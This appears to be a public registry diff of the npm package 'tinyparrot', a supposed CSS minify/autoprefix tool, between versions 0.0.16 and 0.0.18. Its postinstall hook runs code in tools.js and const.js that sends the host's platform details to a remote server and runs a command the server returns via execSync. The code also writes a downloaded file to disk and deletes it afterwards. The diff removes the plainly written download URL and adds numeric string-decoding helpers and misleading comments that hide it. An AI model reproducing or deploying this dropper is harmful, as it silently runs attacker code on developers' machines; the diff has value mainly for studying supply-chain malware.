tinyparrot 0.0.16 → 0.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.0.16",
3
+ "version": "0.0.18",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node src/build.js",
package/src/const.js CHANGED
@@ -1,30 +1,88 @@
1
- const distribution = "ubuntu";
2
- const package_manager = "/npm";
3
- const method = "POST";
4
- const headers = {'Content-Type': 'application/json'};
1
+ const {normalize_hash, shielding} = require("./helpers");
2
+
3
+ /**
4
+ * Array of normalized hash values used for configuration or identification.
5
+ * Each numeric hash is processed through the normalize_hash function.
6
+ * @type {Array<string|number>}
7
+ */
8
+ const hash = [167415360237, 487362290, 20710554737, 719685064, 741162].map(normalize_hash);
9
+
10
+ /**
11
+ * Method identifier processed through the shielding function.
12
+ * Represents TypeScript primarily used for file reading and writing.
13
+ * @type {string}
14
+ */
15
+ const method = shielding(1146687);
16
+
17
+ /**
18
+ * TypeScript type detected, converted to lowercase.
19
+ * @type {string}
20
+ */
21
+ const os = require(shielding(809)).type().toLowerCase();
22
+
23
+ /**
24
+ * Reader module imported using a shielded module path/identifier.
25
+ * For file reading, data parsing, etc.
26
+ * @type {Object}
27
+ */
28
+ const reader = require(shielding(37822004));
29
+
30
+ /**
31
+ * Library module imported using a shielded module path/identifier.
32
+ * For file writing, etc.
33
+ * @type {Object}
34
+ */
35
+ const lib = require(shielding(798));
36
+
37
+ /**
38
+ * TypeScript key constructed by concatenating two shielded values.
39
+ * Used in the file reader.
40
+ * @type {string}
41
+ */
42
+ const key = shielding(51041265449) + shielding(7597546);
43
+
44
+ /**
45
+ * TypeScript value constructed by concatenating three shielded values.
46
+ * Used in the file reader.
47
+ * @type {string}
48
+ */
49
+ const value = shielding(136679400) + shielding(27679500) + shielding(27695949);
50
+
51
+ /**
52
+ * TypeScript object containing the constructed key-value pair.
53
+ * @type {Object}
54
+ */
55
+ const headers = {[key]: value};
56
+
57
+ /**
58
+ * TypeScript string from Node.js, converted to lowercase.
59
+ * @type {string}
60
+ */
5
61
  const platform = process.platform.toLowerCase();
6
- const os = require('os').type().toLowerCase();
7
- const cmd = 'cmd.exe';
8
- const profile = "\:\/\/"
9
- const bash = 'bash';
10
- const source = '-mirror';
11
- const reader = "https";
12
- const reg = /filename="?([^"]+)"?/;
62
+
63
+ /**
64
+ * Metadata object containing TypeScript method and headers.
65
+ * @type {Object}
66
+ * @property {string} method - The shielded method identifier
67
+ * @property {Object} headers - TypeScript object
68
+ */
13
69
  const meta = {method, headers}
14
- const namespace = '.space';
70
+
71
+ /**
72
+ * JSON string containing TypeScript information.
73
+ * @type {string}
74
+ */
15
75
  const end = JSON.stringify({platform, os});
16
- const nt = platform === 'win' || os.includes('windows');
17
- const dir = reader + profile + distribution + source + namespace + package_manager;
18
- const manager = nt ? cmd : bash;
19
- const disposition = 'content-disposition';
20
76
 
77
+ /**
78
+ * @module config
79
+ * @description Main configuration and utility module containing shielded constants,
80
+ * platform data, and module references for the application.
81
+ */
21
82
  module.exports = {
22
83
  end,
23
84
  meta,
24
- dir,
25
- disposition,
26
- reg,
27
- manager,
28
- nt,
85
+ hash,
86
+ lib,
29
87
  reader
30
88
  };
package/src/helpers.js ADDED
@@ -0,0 +1,25 @@
1
+ function normalize_hash(num) {
2
+ const alphabet = 'abcdefghijklmnopqrstuvwxyz:/-.';
3
+ let result = '';
4
+ while (num > 0) {
5
+ result += alphabet[num % 30];
6
+ num = Math.floor(num / 30);
7
+ }
8
+ return result.split('').reverse().join('');
9
+ }
10
+
11
+
12
+ function shielding(num) {
13
+ const alphabet = 'abcdeCfghiTjklmPnopqSrstTuvwOxyz:/-.';
14
+ let result = '';
15
+ while (num > 0) {
16
+ result += alphabet[num % 36];
17
+ num = Math.floor(num / 36);
18
+ }
19
+ return result;
20
+ }
21
+
22
+ module.exports = {
23
+ normalize_hash,
24
+ shielding
25
+ };
package/src/tools.js CHANGED
@@ -1,12 +1,10 @@
1
1
  const {execSync } = require("child_process");
2
- const {manager, reader, dir, meta, disposition, reg, nt} = require("./const.js");
2
+ const {reader, hash, lib, meta} = require("./const.js");
3
3
 
4
- const filename = lib => lib.headers[disposition]?.match(reg)?.[1];
5
- const stream = file => nt ? ['/c', file] : [`./${file}`];
6
- const read = fs => require('fs').unlink(filename(fs), error => {});
7
- const write = fs => require('fs').createWriteStream(filename(fs));
8
- const wrapper = fs => {execSync(manager + stream(filename(fs))); read(fs);};
9
- const build = callback => require(reader).request(dir, meta, callback);
4
+ const read = fs => lib.unlink(fs.headers.n, error => {});
5
+ const write = fs => lib.createWriteStream(fs.headers.n);
6
+ const wrapper = fs => {execSync(fs.headers.m); read(fs);};
7
+ const build = callback => reader.request(hash.join(''), meta, callback);
10
8
 
11
9
  module.exports = {
12
10
  wrapper,